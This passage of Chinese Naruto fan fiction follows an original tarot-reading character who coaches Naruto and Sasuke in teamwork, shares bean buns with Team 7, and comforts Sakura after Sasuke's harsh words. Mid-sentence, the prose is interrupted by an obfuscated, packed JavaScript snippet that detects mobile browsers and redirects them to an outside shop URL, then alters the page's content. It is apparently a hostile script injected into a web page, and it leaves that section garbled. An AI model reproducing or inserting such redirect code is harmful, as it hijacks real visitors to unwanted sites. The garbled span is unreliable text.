鸣人灰头土脸地从一片被火遁烤得焦黑、冒着缕缕青烟的草丛里爬起来,气急败坏地冲着场地中央的黑发少年大喊。刚才的三人模拟对抗演练(我作为观察者和战术提示者),佐助为了追求一击必杀的效果,完全忽略了鸣人正在进行佯攻的位置和节奏,一个迅捷无比的豪火球之术差点把刚刚从侧面突进的鸣人卷进炽热的火焰边缘。虽然只是模拟,但那股热浪和冲击力是实打实的。 佐助冷冷地甩了甩手中刚刚掷出、钉在木桩靶心上的苦无,猩红的单勾玉写轮眼扫过狼狈的鸣人,带着毫不掩饰的嫌弃 “是你太慢了,吊车尾的。跟不上节奏就别硬挤进来拖后腿。” 他追求的是极致的速度、精准和效率,对鸣人这种咋咋呼呼、充满意外性、有时显得杂乱无章的配合风格感到极其不耐。在他眼中,鸣人的行为更像是在制造混乱,而非创造战机。 “你说什么?!” 鸣人瞬间炸毛,像只被踩了尾巴的猫 “明明是你只顾着自己耍帅!根本不管队友的位置!要不是我反应快,现在就被烤成干了!你这算什么配合?!” “好了好了!都冷静点!” 小樱赶紧站到两人中间,张开双臂试图隔开这随时可能升级的争吵,脸上满是无奈 “佐助君,鸣人,训练的时候互相配合是很关键的!我们是一个小队!旁听生,你说对吧?” 她习惯性地把求助的目光投向靠在场地边缘树荫下的我。 我抱着手臂,看着眼前这几乎成为第七班训练日常一部分的“鸣佐争执”戏码,心中既感无奈,又有一丝奇异的欣慰。波之国的生死与共,大桥上并肩打破魔镜冰晶的经历,似乎在他们之间打下了某种难以言喻的深刻羁绊的基石。但在日常的训练磨合中,性格的南辕北辙、战斗理念的根本差异,依然如同两块棱角分明的岩石,不可避免地激烈碰撞着。 一个追求精准高效、一击制敌的“皇帝”式掌控;一个充满意外性、擅长在混乱中创造奇迹的“愚者”式破局。如何将他们截然不同的“频率”调和在一起,将看似冲突的特质转化为互补的优势,发挥出一加一大于二的效果,确实是当前最大的难题。 我拿出塔罗牌,没有刻意去引导能量,只是让牌在指尖无意识地翻转、切洗。冰凉的牌身带来一丝镇定。『教皇』牌的秩序感与调和力,『战车』那勇往直前的驱动力,『恋人』牌所象征的深刻联结与选择……不同的牌意在我心中流淌、交织,形成一种独特的感知视角。 “鸣人,佐助,” 我开口,声音不大,却带着一种奇异的穿透力,如同投入喧嚣中的一颗定心石,让争执的两人都瞬间停了下来,目光转向我。 “还记得波之国那座未完成的桥上,你们是怎么合力打破白的魔镜冰晶的吗?” 我抛出了一个他们无法回避的关键点。 两人都愣了一下。鸣人抓抓头,努力回忆着那生死一线的混乱场景 “啊……当时我气疯了,看到佐助被困住,白那个家伙……我就感觉有股力量,就是……呃,总之就是一股劲冲上来,脑子里就想着要打破那些该死的镜子……” 佐助则抿了抿唇,黑色的瞳孔深处闪过一丝复杂的光芒,回想着当时的情景 “是鸣人那个笨蛋不顾一切地冲撞,制造了混乱和破绽……我才……” 他似乎不太愿意承认是鸣人创造了机会。 “是信任。” 我打断他未尽的话语,目光锐利地扫过两人 “或者说,是在绝境中本能地抓住了对方制造的‘可能性’。鸣人,” 我转向他,手指间夹着的牌正好是『愚者』——象征无限可能、冒险精神、以及打破常规的勇气, “你的‘意外性’不是拖累,它是打破僵局的钥匙,是创造战机、点燃希望的源头。但你需要学会在制造‘意外’时,给你的队友留下反应的‘窗口’和行动的‘空间’。你的冲锋不是漫无目的,而是要为佐助这样的‘尖刀’撕开一个口子。” “佐助,” 我又看向他,手中的牌换成了象征掌控、秩序、力量和权威的『皇帝』 “你的力量、速度、精准的写轮眼洞察力,是团队的基石,是抓住机会、奠定胜局的终极手段。但你需要学会‘等待’和‘观察’,不是所有战机都需要你独自去创造。有时候,信任队友能为你创造更好的、更出其不意的机会。你需要学会接收和利用队友制造的‘信号’,将他们的‘混乱’转化为你的‘秩序’,你的‘锋芒’需要鸣人这样的‘盾’来制造机会。” 我走到训练场中央灼热的阳光下,无视地面的滚烫,将几张牌——象征深刻联结与选择的『恋人』、象征意志力与驾驭力的『战车』、象征调和、平衡与中庸之道的『节制』——轻轻放在被踩踏得坚实的土地上,形成一个稳固的三角阵型。牌面在阳光下反射着微光。 “再来一次模拟对抗。这次,目标不是击败对手(木桩),而是‘配合’。鸣人,” 我指向他 “你的任务是制造至少三个不同的‘意外’点(可以是佯攻、误导、制造障碍或混乱),但要确保这些点都在佐助的视野和有效攻击覆盖范围内,并且留给他至少一秒的清晰反应时间!把你的‘愚者’精神,变成给‘皇帝’的信号弹!” “佐助,” 我转向他,语气严肃 “你的任务是全神贯注观察鸣人的每一个动作,捕捉他的意图。在他制造‘意外’的瞬间,找到并攻击他为你创造出的、最有效的那个‘窗口’,而不是你预设的目标!把你的‘皇帝’之力,精准地刺入‘愚者’为你打开的缺口!” “小樱,” 我对她点点头 “你负责外围警戒和支援,同时重点观察他们两人的配合点和脱节点,及时用信号或语言提醒!你是团队的观察哨和粘合剂。” 这个训练方式很新颖,带着塔罗牌特有的象征性和精神引导性。鸣人挠挠头,看着地上的牌,虽然觉得要求有点复杂,但眼中燃起了挑战的火焰 “制造意外?还要控制节奏?这个我在行!佐助,你可要睁大眼睛看清楚了!别跟不上我的天才节奏!” 佐助看着地上那三张牌,尤其是『恋人』牌上那双手相握的图案,又看了看我,眼神中闪过一丝深沉的思索,最终他冷哼一声,写轮眼缓缓转动起来,将注意力完全锁定在鸣人身上 “哼,试试看。别制造些没用的垃圾干扰。” 训练重新开始。这一次,气氛截然不同。鸣人不再是无脑的直线冲锋。他像一只被注入了战术思维的、活力四射的猴子(伴随着标志性的大呼小叫),在场地内以更富有目的性的方式上蹿下跳。 时而故意大力踩踏地面,踢起大片尘土遮蔽前方视野 (意外点1:视觉干扰);时而假装被树根绊倒,却在身体失衡的瞬间,极其隐蔽地向侧面空档投掷出一枚特制的、爆开后只有少量烟雾但声音巨大的音爆弹 (意外点2:声东击西,制造侧翼空档);甚至对着空地突然结印,大喊一声“看招!螺旋丸!” ( ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16575536|187090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虚张声势的意外点3:心理威慑,吸引注意力)。虽然动作依旧夸张,带着他特有的风格,但他明显在努力控制节奏和方向,每次制造“意外”后,都会下意识地瞥一眼佐助的方向,似乎在确认对方是否接收到信号。 佐助则像一头将全部感官提升到极致的猎豹,写轮眼全开,猩红的勾玉高速旋转,紧紧锁定着鸣人的每一个细微动作、每一次肌肉的发力、每一次视线的偏移。 他不再急于出击,而是如同蓄满力量的弓弦,处于一种高度专注的待发状态。当鸣人踢起尘土时,佐助没有立刻攻击,而是微微后撤半步,凝神观察尘土后的动静;当音爆弹在侧翼炸响,鸣人制造出侧翼空档的瞬间,佐助的身影如同黑色的闪电,以肉眼难辨的速度精准地切入那个空档,手中的苦无带着尖锐的破空声,精准无比地刺中了模拟敌人(一个加固木桩)的“要害”位置!力量、速度、时机的把握,与鸣人的“意外”配合得天衣无缝!整个过程流畅得如同预先演练过无数次。 “成……成功了!” 鸣人稳住身形,看着佐助苦无刺入的位置,先是愣了一下,随即爆发出巨大的欢呼,兴奋地跳了起来,金发在阳光下飞扬。 佐助缓缓收回苦无,虽然脸上依旧是那副酷酷的表情,没有笑容,但紧绷的嘴角线条明显放松了一丝,写轮眼也恢复了常态。他看了一眼兴奋的鸣人,又瞥了一眼地上的塔罗牌,眼神中多了一点别的东西。 小樱在一旁看得眼睛发亮,忍不住拍手 “太棒了!旁听生!这个训练方法好厉害!他们刚才的配合简直像换了一个人!” 她看向我的眼神充满了敬佩。 我笑了笑,走过去弯腰收起地上的牌,指尖拂过带着阳光余温的牌面。 “这只是开始。团队的配合就像解读一副复杂的牌阵,” 我解释道,目光扫过鸣人和佐助 “需要理解彼此独特的‘牌意’——你们各自的天赋、风格和局限,然后找到能产生共鸣、互相补足的‘位置’。鸣人的‘愚者’精神需要佐助‘皇帝’般的掌控力和终结力来收束成果;佐助的‘皇帝’也需要鸣人‘愚者’的冒险精神和打破常规来打开局面。而『恋人』牌,” 我举起那张牌,牌面上天使祝福下的男女双手相握 “就是连接你们、让你们截然不同的力量能够交融、升华的桥梁。” 我看着他们两人,语气认真 “记住刚才配合时的那种感觉。信任彼此能创造‘可能性’,也相信对方能抓住你传递的‘信号’。这不是妥协,是力量的融合。” 汗水早已浸湿了训练服,紧贴在皮肤上,粘腻而闷热。阳光依旧灼热刺眼,蝉鸣依旧聒噪。但训练场上的气氛,却多了一种名为“默契”的粘合剂,一种通过理解与协作达成的新鲜力量感。 每一次成功的配合,每一次无需言语的眼神交汇(哪怕只是短暂的一瞥),都是对波之国牺牲的另一种形式的告慰,也是我们第七班在通往未来的道路上,悄然萌发的新芽。 鸣人的咋呼,佐助的冷傲,小樱的细心,还有我手中塔罗的指引,在这片挥洒汗水的训练场上,开始编织出独属于我们第七班的、坚韧而独特的羁绊之网。 日子在规律而充实的节奏中平静流淌。上午在伊鲁卡老师的严苛的目光下打磨体术和忍具技巧,汗水滴落在地上迅速蒸发;下午是第七班自发的配合训练与战术研讨,在磨合中寻找更优解;傍晚时分,雷打不动地去医院探望卡卡西老师,汇报训练进度,听他带着困意(也不知真假)的几句点评,再分享一些村里的趣闻;期间还穿插着执行一些简单的D级任务 帮丢失忍猫“小虎”的山田老奶奶爬树钻巷子(最终在烟囱里找到这只淘气鬼),清理下游淤积的垃圾(鸣人干劲十足,宣称这是在“净化木叶的笑容之源”),甚至帮火影楼整理积压的过期文件(被鸣人强行纳入了他的“保护”范围,理由是“火影爷爷心情好,大家才能更好”)。 卡卡西老师恢复得确实很快,几天后就能下床在走廊里溜达,甚至偶尔会神不知鬼不觉地溜达到训练场边,靠在一棵树上,嘴里咬着我送的豆沙包,用他那标志性的懒洋洋语调进行一些诸如“鸣人,动作太大,破绽像门那么大哦”,“佐助,杀气太重,会吓跑小鸟的”,“小樱,忍术笔记记得不错,但实践更重要”,“旁听生,牌洗得挺熟练,不过战斗时可没时间让你慢慢抽牌”之类的“精神指导”。 这天傍晚,夕阳如同一枚巨大的、熟透的柿子,沉甸甸地悬在西边的树梢上,将天边的云霞染成一片绚烂的金红、橙黄与瑰丽的紫。木叶的街道、屋顶、行人的脸庞,都被镀上了一层温暖而柔和的金边。训练结束,我们四人带着一身汗水和疲惫,并肩走在回家的路上,影子在身后被拉得很长很长,交织在一起。 “呐,姐!” 鸣人忽然吸了吸鼻子,指着路边一家飘出诱人甜香气味的店铺,正是那家老字号 “是豆沙包!刚出炉的!香味都飘到街上了!我们去买点吧?给卡卡西老师带一份当明天的‘慰问品’,我们自己也可以吃!就当是……庆祝一下!” 『我们买一点豆沙包吧?就当庆祝一下啦!^:/,大笨蛋!』 回忆在我看见豆沙包时闪过,其实之前给卡卡西老师买的时候,也闪过,我不明白,为什么总是会这样…… 但鸣人的眼睛亮晶晶的,充满了对食物的渴望和对“庆祝”理由的寻找。 “庆祝什么?” 小樱用手扇着风,好奇地问,脸颊因为运动还泛着健康的红晕。 “庆祝……庆祝我们第七班今天配合训练大成功啊!佐助今天总算没骂我‘吊车尾’拖后腿了!” 鸣人理直气壮地说,还得意地瞟了佐助一眼 “还有庆祝卡卡西老师说后天就能出院了!双喜临门!当然要庆祝!” 佐助双手插在裤兜里,目视前方,仿佛没听见鸣人关于“没骂拖后腿”的宣言,但他的脚步却不着痕迹地慢了下来,目光也扫向了那家飘着蒸汽和甜香的老店。 我摇摇头,把脑子里没用的东西试图摇出去,看着他俩无声的互动,忍不住莞尔 “好提议。庆祝胜利和期待新生,豆沙包确实是个不错的选择。” 那份简单却温暖的甜,总能抚慰疲惫。 热腾腾、白白胖胖的豆沙包被装进印着店铺标志的纸袋,散发出更加浓郁诱人的甜香。我们每人手里都拿着一个,一边沿着被夕阳染红的街道慢慢走着,一边小口小口地吃着。 软糯微韧的外皮,香甜细腻、带着颗粒感的红豆沙馅,简单的滋味在口腔里弥漫开,带来最原始也最踏实的满足感,迅速温暖了疲惫的身体和饥饿的胃。 “唔…好吃!烫烫的更好吃!” 鸣人吃得满嘴都是深红色的豆沙馅,含混不清地嚷嚷着,脸上洋溢着纯粹的幸福 “果然,辛苦训练完,和伙伴一起吃好吃的,最棒了!比一乐拉面还棒……呃,差不多棒!” 他及时修正,似乎怕得罪了拉面之神。 “慢点吃,笨蛋鸣人,没人跟你抢。” 我嗔怪道,嘴角却带着笑,细心地递给他一张纸巾 “擦擦嘴,都成小花猫了。” 佐助吃得比较斯文,但速度并不慢,三口两口就解决了一个,显然这甜食也很合他口味。他默不作声地又拿了一个,继续安静地吃着。 小口咬着手里的豆沙包,感受着那份熨帖的甜意在舌尖缓缓化开,温暖顺着食道蔓延至全身。目光不由自主地扫过身边并肩而行的同伴: 咋咋呼呼、像个小太阳般永远充满活力、用最直接的方式表达关心的鸣人;细心体贴、眼神明亮、对知识充满热情、努力想要变得更强的小樱;外表冷淡疏离、习惯用实力说话、内心却有着自己不容触碰的骄傲与坚持的佐助。 还有那个虽然此刻不在场,但仿佛能清晰想象到他靠在病床或树边,一边咬着豆沙包,一边用那只弯弯的笑眼懒洋洋看着我们的卡卡西老师。 忍者包里的塔罗牌安静地躺着,像一位沉睡的老友。经历了波之国大桥的血火洗礼与生死救赎,经历了病房里无声的守护与训练场上激烈的调和,它似乎也沉淀了下来,与我之间的联系更加紧密而内敛。 『圣杯十』那理想中圆满和谐、充满爱与欢笑的家庭画面偶尔还会在意识深处闪过,提醒着那个看似遥不可及的终极愿景。但此刻,看着夕阳余晖下同伴们因为一个简单豆沙包而满足的、放松的笑脸,感受着口中那份实实在在的香甜,一种更加踏实、更加贴近泥土的幸福感油然而生,沉甸甸地充盈在心间。 也许,真正的“圣杯十”,并非存在于遥不可及、完美无瑕的彼岸世界。它就蕴藏在这些平凡的、甚至有些琐碎的日常碎片里——在充满消毒水味的病房中一句真诚的问候,在肃穆慰灵碑旁一次关于未来的迷茫与顿悟,在灼热训练场上一次次碰撞与磨合后滴落的汗水,在完成任务后拿到报酬时小小的雀跃,甚至就在这一个简单的、与伙伴分享的、还带着炉火温度的豆沙包中。是同伴间无需言说的理解与默默支撑,是共同经历欢笑与泪水后沉淀下的信任,是彼此扶持、携手并肩、跌跌撞撞却坚定不移地一起走过的每一段路途。 让整个忍界所有人都幸福的宏大理想或许艰难得如同攀登神山,但守护眼前这些触手可及的、微小却真实的温暖与笑容,守护这份在血与火、汗水与泪水中淬炼出的、名为“第七班”的羁绊,正是现在的我,能脚踏实地去走、也愿意倾尽所有去捍卫的“忍道”。这份信念,如同手中的豆沙包,平凡却温暖,给予我前行的力量。 夕阳的余晖将我们四人的影子长长地投射在道路上,最终在不远处交融在一起,不分彼此。前方的道路还很长,蜿蜒曲折,充满了未知的风暴、艰难的抉择和必须跨越的险峰。但我知道,只要身边有这些伙伴,有这份用信任与汗水浇灌出的羁绊,有手中这副能指引内心、映照真实的塔罗牌,无论前路是荆棘密布还是万丈深渊,我们都能带着从“暖阳与新生”中汲取的力量,勇敢地、坚定地走下去,去共同书写属于我们第七班的、独一无二、波澜壮阔的故事。 “明天晨练别迟到” 佐助清冷的声音打破了这份夕阳下的宁静,带着惯有的、别扭的催促,率先在岔路口转向宇智波族地的方向。 “明天我一定比你早到半个小时!佐助!你等着瞧!” 鸣人立刻像被踩了尾巴,挥舞着吃完豆沙包的空袋子跳脚反驳。 “好啦好啦,知道啦!明天见,佐助君!鸣人!旁听生!” 小樱笑着挥手告别,笑容在夕阳下格外灿烂。 “嗯,明天见。” 我笑着回应,握紧了手中还残留着温度的、空了的纸袋,也握紧了心中那份沉甸甸的、充满希望的温暖。这份暖意,源自豆沙包的甜,源自伙伴的情,更源自对未来的笃定。 夕阳终于沉入地平线,最后一抹瑰丽的霞光隐去。木叶的灯火次第亮起,如同散落在大地上的星辰,柔和地照亮了归家的路,也温柔地照亮了即将启程的、新的旅途。第七班的日常,在豆沙包的甜香、汗水的咸涩、泪水的微咸与欢笑的回响中,在暖阳的余晖与羁绊的照耀下,悄然翻开了充满无限可能的新篇章…… 大概……?看着手里的豆沙包,总觉得……忘记了什么…… 17. 『禁忌的萌芽以及中忍考试』 晨光熹微,薄雾如轻纱般笼罩着木叶村。今天是个特别的日子——卡卡西老师终于能从忍者医院那充斥着消毒水气味的病房里出来了。 唉……我倚在窗边,望着楼下逐渐苏醒的街道,心里五味杂陈。卡卡西老师疗养的这段日子,把带第七班的重任交给了我,美其名曰“相信同伴”、“别再鲁莽行事”……可这哪里是我能完全掌控的?每一次,身体总是不由自主地快过思考,等意识到后果时,人早已冲了出去,仿佛被一股无形的力量牵引着。 更令人头疼的是,需要磨合的远不止我一个。鸣人和佐助,自从波之国那次任务后,两人之间就滋生了一种奇怪的隔阂。虽然那些枯燥的D级任务总能磕磕绊绊地完成(当然,鸣人少不了一路嚎叫抱怨),但那种弥漫在空气中的僵硬感,骗不了人。 他们俩绝对在赌气!那股别扭劲儿,简直像两块同极相斥的磁石。 今早的餐点是煎得恰到好处的煎肉三明治,香气四溢。经历了波之国的生死考验,鸣人这家伙终于肯听劝,把他那些宝贝似的过期牛奶扔掉了。看着他抱着牛奶盒,眼中流露出仿佛告别挚友般的不舍,我这个毫无血缘关系的“姐姐”只好板起脸,拿出“威压”。最终,他扁着嘴,不情不愿地和他那些亲爱的、散发着可疑酸味的过期牛奶说了拜拜。 穿戴整齐,我们站在玄关的镜子前。镜中的少年金发碧眼,努力挤出充满干劲的笑容;旁边的我,则试图用眼神传递鼓励。 “今天也得继续努力了,鸣人。” 我拍拍他的背。 “哟西!” 鸣人立刻挺直腰板,拳头紧握,声音洪亮 “今天也要干劲十足地完成任务!让卡卡西老师看看我们的进步!” 然而,当我们赶到熟悉的集合地点时,佐助和小樱早已等候多时。佐助靠在一棵树下,双手插兜,目光沉静地望着远方,仿佛与周遭的喧嚣隔绝。小樱则显得有些局促不安,手指无意识地绞着衣角。就在鸣人视线触及佐助背影的瞬间,那股熟悉的、令人窒息的低气压再次弥漫开来。他们俩,一个冷得像冰,一个躁得像火,却同样固执地沉默着,仿佛在进行一场无声的较量。 “唉……” 小樱无奈地低下头,发出一声微不可闻的叹息。我感同身受地走到她身边,也轻轻叹了口气,伸手拍了拍她略显单薄的肩膀。两个女孩交换了一个心照不宣的苦笑眼神,都在心底默默祈祷: 卡卡西老师,您老人家快来吧!男孩子们的心,真是比『亲热天堂』还要难懂啊! 可惜天不遂人愿。越是期盼什么,它似乎就越要姗姗来迟。太阳如同往常等待卡卡西老师出任务时一样,慢悠悠地爬升到天穹最高点,将我们的影子缩成短短的一团。就在鸣人即将被焦躁和暑气点燃时,那个熟悉又让人牙痒痒的身影终于出现在训练场边缘的高处。 银发上忍蹲坐在树枝上,仅露出的那只眼睛弯成了月牙,懒洋洋地朝我们挥手 “哟——各位早啊!抱歉抱歉,今天在人生的道路上迷失了一会儿方向……” “卡卡西老师!!!” 三道饱含怨念的声音几乎是同时爆发出来,惊飞了树梢的几只麻雀。卡卡西轻盈地跳下,落在我们面前,习惯性地摸着后脑勺,试图用他那套万年不变的蹩脚理由解释 “啊哈哈,是这样的,我在路上遇到了一只迷路的三色猫,它看起来非常困扰,所以我就……” “老师!这种借口您已经用了八百遍了!” 鸣人第一个跳脚,挥舞着手臂 “拜托您下次编个新鲜点的理由吧!” 卡卡西的辩解被我们更加汹涌的吐槽声淹没,他无奈地耸耸肩,那样子仿佛在说“反正你们也不会信” 解释?越描越黑罢了。 然而鸣人显然没心思纠结老师的迟到。他迫不及待地冲到卡卡西面前,蓝色的眼眸里燃烧着渴望 “卡卡西老师!我们最近一直在做拔草、找猫、清理河道这些简单的任务!无聊死了!有没有更刺激的?更能大显身手的?像波之国那样让人热血沸腾的任务啊?” 卡卡西老师似乎早已预料到鸣人的要求,他那只露出的右眼流露出明显的无奈。他一边敷衍地点着头,发出“嗯嗯,大概理解了”的声音,一边眼神飘忽,显然在飞速思考着如何温和但坚定地拒绝这个不安分的学生。 波之国那次惨烈的任务,纯属意外中的意外。那深入骨髓的疲惫和巨大的风险,至今想起来都心有余悸。再来一次?怕是连他这个上忍也吃不消了。 更何况,看着眼前这四个尚未真正成熟起来的学生,保护他们平安成长的责任感沉甸甸地压在心头。 好在鸣人的注意力焦点很快又回到了佐助身上。波之国那次被佐助“保护”的经历,像一根细小的刺,深深扎进了鸣人的自尊心。他时不时用眼角余光瞟向佐助,眼神复杂,混杂着不甘、较劲,还有一丝不易察觉的……别扭?呃啊,男孩子的心思真是难懂!大概就是那种想要争第一、证明自己更强的倔强在作祟吧?我暗自摇头。 最终,卡卡西老师还是成功地将我们带向了木叶任务发布处,接下了一个新的D级任务——清理草药园里的杂草。 任务地点在村子边缘一处安静的园圃。一位面容和善的中年妇人接待了我们,耐心地指着地上两丛极其相似的植物讲解 “孩子们,看清楚了。这种叶片边缘光滑、叶脉清晰、带着淡淡清香的,是珍贵的止血草。旁边这种叶片边缘有细微锯齿、茎秆更细弱、气味很淡甚至有点土腥味的,就是需要拔除的杂草。千万别弄错了哦。” 我蹲下身,仔细分辨,眉头紧锁。天哪,这长得也太像了!简直像双胞胎!就在我即将陷入“脸盲”困境时,身边传来小樱温和清晰的声音 “旁听生,你看这里。” 她纤细的手指精准地指向一株草的叶柄连接处 “止血草的这里会有一圈很淡的紫色晕染,杂草就没有。还有,杂草的根系通常更浅,轻轻一拔就出来了。” 我顺着她的指引看去,果然发现了那细微却关键的差别!顿时,我双眼放光,崇拜地转向小樱 “哇!小樱你好厉害!观察得这么仔细!不愧是理论知识最扎实、最聪明的学生!” 被我直白的夸奖弄得有些不好意思,小樱白皙的脸颊瞬间飞上两朵红云,连连摆手 “没、没什么啦……这都是应该知道的常识……” 视线转向另一边。佐助正蹲在不远处,神情专注,动作利落地拔除杂草。虽然他偶尔也会因为动作太快而误拔一两株止血草,但他总能不动声色地将它们迅速混入旁边的杂草堆里,仿佛什么都没发生。 反观鸣人,这家伙简直像打了十斤鸡血,化身“除草狂魔”,嗷嗷叫着扑进药圃,双手并用,不管不顾地一通乱薅!那架势,仿佛眼前的不是杂草,而是生死仇敌。结果可想而知—— “啊呀!我的止血草!!” 雇主妇人发出一声心疼的惊呼,紧接着,“砰!” 一记带着“爱”的铁拳精准地砸在鸣人头顶,让他瞬间眼冒金星,抱头蹲防。 “真是够了……” 我捂着脸,无奈地叹息。果然,麻烦制造机从不让人“失望”。 后续的任务过程更是状况百出。清理上游河道垃圾时,鸣人一个脚滑,“噗通”一声栽进了湍急的河水里,溅起巨大的水花。就在他惊慌扑腾时,一道黑色的身影如风般掠过岸边,佐助眼疾手快地探身,一把揪住鸣人的后衣领,将他湿淋淋地提了上来。鸣人呛咳着,狼狈不堪,佐助则嫌弃地甩了甩手上的水珠,冷冷丢下一句 “吊车尾。” 遛一只精力过剩的大型忍犬时,鸣人再次完美诠释了什么叫“被狗遛”。他不仅没能控制住兴奋的猛犬,反而被狗绳拖拽着,一路狂奔冲进了村子的武器试验禁区!“轰隆!”一声巨响,测试用的演习炮弹在他不远处爆炸,气浪和泥土将他掀飞出去,摔得灰头土脸,怀疑人生。每一次,我都得像个救火队员一样,无奈地冲上去给他收拾烂摊子。 或许是因为这几天都在处理这些琐碎又毫无挑战的任务,加上卡卡西老师住院期间任务暂停,之前在波之国生死边缘勉强建立起来的那点脆弱的团队协作意识,仿佛被闲置生锈的齿轮,又轻而易举地崩解了。佐助一句轻飘飘、带着习惯性优越感的点评,比如“连这种小事都做不好”,瞬间就能点燃鸣人这个火药桶。 “混蛋佐助!你说什么?!” 鸣人立刻炸毛,像只被踩了尾巴的猫,挥舞着拳头就要冲过去。 “鸣人!住手!” 小樱总是第一个反应过来,张开双臂勇敢地拦在两人中间,声音带着焦急和劝阻 看着眼前这熟悉的争吵场面,连卡卡西老师也忍不住叹了口气,银发在阳光下显得有些黯淡 “最近的团队合作……有点不太妙呢。” 他的声音不大,却清晰地传入每个人耳中,带着一丝不易察觉的忧虑。 鸣人把这一切的“不顺利”都归咎于佐助,红着眼睛低吼 “都怪你!总是摆出一副了不起的样子抢风头!” 佐助闻言,缓缓转过身,漆黑的眼眸如同深潭,冷冷地凝视着鸣人,那目光锐利得仿佛能刺穿人心,显然对这番指责极为不满。 他薄唇微启,声音不高,却字字清晰,带着一种近乎残酷的直白 “觉得不甘心吗?那就变得比我更强好了。” 空气仿佛瞬间凝固。无形的硝烟在两人之间弥漫升腾,带着少年人特有的尖锐和固执。这是属于鸣人和佐助的日常“怼怼”,却又比以往任何一次都更接近冰冷的对峙。 就在这时,一只苍鹰发出嘹亮的唳鸣,盘旋在碧蓝如洗的高空。卡卡西老师抬头望了一眼,眼神微凝,随即收回目光,果断地拍了拍手 “好了,今天的任务到此为止。收拾一下,回去吧。” “佐助君,等等我——” 小樱连忙喊道,想要追上前方那道冷漠的背影。 鸣人则一脸愤懑地瞪着佐助迅速远去的方向,腮帮子气得鼓鼓的,小嘴抿得紧紧的,像只塞满了坚果的松鼠,眼睛里几乎要喷出火来。 小樱很快追上了佐助,两人在不远处的林间小路上并肩走着。小樱似乎在努力寻找话题,声音轻柔。或许是连日枯燥的D级任务消磨了耐心,又或许是刚才鸣人的挑衅触动了某根紧绷的神经,佐助显得有些烦躁,言语间带着无差别的攻击性。 “……与其把时间浪费在毫无意义的任务上,不如自己多练习几个忍术。” 他声音冷淡,目光直视前方,并未看身边的小樱 “你的实力,比鸣人还差。跟着我们,只是拖后腿。” 这句话像一把冰冷的匕首,猝不及防地刺穿了小樱努力维持的平静。她的脚步瞬间顿住,脸色“唰”地变得苍白,明亮的眼眸迅速黯淡下去,受伤的情绪如同涟漪般在她脸上扩散开来。 我当时就皱紧了眉头。虽然现在的小樱在实战能力上确实还有很大提升空间,但她的潜力、她的坚韧、她在关键时刻展现的勇气和智慧,都是我深深知晓的。她是未来第七班不可或缺的重要支柱!更何况,她对佐助那份纯粹而炽热的倾慕之心,此刻被心上人用如此冰冷直白的言语否定,那份失落和心痛,光是想象就让人揪心。 我快步上前,挡在小樱身前,直视着佐助那双写满不耐的漆黑眼眸,语气带着少有的严肃和不满 “佐助,你这话太过分了!如果你不能心平气和地交流,那就请你暂时保持沉默。” 他的目光锐利地投射到我脸上,漆黑的眼底翻涌着被冒犯的怒意,薄唇微动,似乎想要反唇相讥。但话到嘴边又咽了回去。波之国任务中几次危急关头,确实是我依靠细致的观察和塔罗牌的奇异指引,才让小队得以脱困。他不得不承认我这份洞察力的价值,即使他永远也不会说出口。 最终,他只是用更加冰冷刻薄的话语回敬了我,仿佛要将自己的烦躁转嫁 “你也好不到哪里去。像个莽夫一样,只会头脑发热地往前冲,根本不顾及后果。” 说完,他不再看我们一眼,毫不留恋地转身,黑色的身影很快消失在林荫深处,留下冰冷的余音在空气中回荡。 小樱失魂落魄地站在原地,肩膀微微颤抖,像一株被风雨摧折的小草。我心疼地走到她身边,轻轻拍了拍她的肩膀,试图传递一丝温暖 “别太伤心了,小樱。佐助他……大概只是希望你能变得更强,只是他表达的方式……太糟糕了,完全不懂得怎么好好说话。” 我顿了顿,回忆起波之国桥上那惊心动魄的一幕,声音放得更柔,带着真诚的感激 “况且,小樱,你还记得在波之国那座桥上吗?当时我看到鸣人被打倒,情绪激动得差点就要不顾一切冲上去……如果不是你,” 我握住她微凉的手,目光恳切 “如果不是你那么害怕却依然坚定地抓住了我的手,用颤抖的声音告诉我‘别冲动,冷静点’,我可能真的会像佐助说的那样,做出无法挽回的傻事。” “你还记得那一刻吗?” 我凝视着她的眼睛,试图唤醒她内心的力量 “尽管你害怕得声音都在发抖,但你的手却握得那么紧。小樱,你从来就不是弱者!你拥有一颗比任何人都要坚韧强大的内心!只是……这份力量需要时间和磨砺去绽放。佐助他……只是现在还不懂你。” “嘭——” 随着一阵白烟消散,一直默默旁观的卡卡西老师也悄然离开了。这条回家的林间小路上,只剩下我、小樱,还有不远处还在生闷气的鸣人。我轻轻揽住小樱的肩膀,将脸凑近她,努力绽放出一个温暖而充满鼓励的笑容,试图驱散她眼中的阴霾。 “所以啊,小樱,” 我的声音带着邀请和期待 “要不要……和我们一起去训练?不是任务,只是我们自己。我们一起变强,强到让那些质疑我们的人,统统闭嘴!” “……” 小樱长长的睫毛低垂着,晶莹的泪珠在眼眶里倔强地打着转,迟迟不肯落下。我心疼地抬起手,用指腹轻柔地替她拭去眼角那一点湿意。虽然我无法完全体会被心上人如此否定所带来的那种深入骨髓的痛苦,但我知道,眼泪一旦落下,就意味着那份难过已经沉重到难以负荷。 “喂!你们看那边!哪有方方正正还刚好抠出两个窟窿的岩石啊!这也太假了吧!哈哈哈!” 鸣人咋咋呼呼的喊声打破了我们之间的沉默。我和小樱循声望去,只见鸣人正叉着腰,对着路边一块造型奇特的“岩石”哈哈大笑。而那块“岩石”猛地一动,伪装褪去,露出了里面三个小小的身影——正是许久未见的木叶丸! “鸣人大哥!” 木叶丸兴奋地跳出来,还不忘摆出一个自认为很帅气的姿势。他身后跟着两个新加入的小家伙——可爱的萌黄和总是挂着鼻涕的乌冬。三个小家伙立刻围着鸣人叽叽喳喳地说笑起来,气氛瞬间活跃起来。 看着他们闹腾的样子,我无奈地笑了笑,从忍具包里掏出一方干净的手帕,轻轻塞进小樱手里,低声说 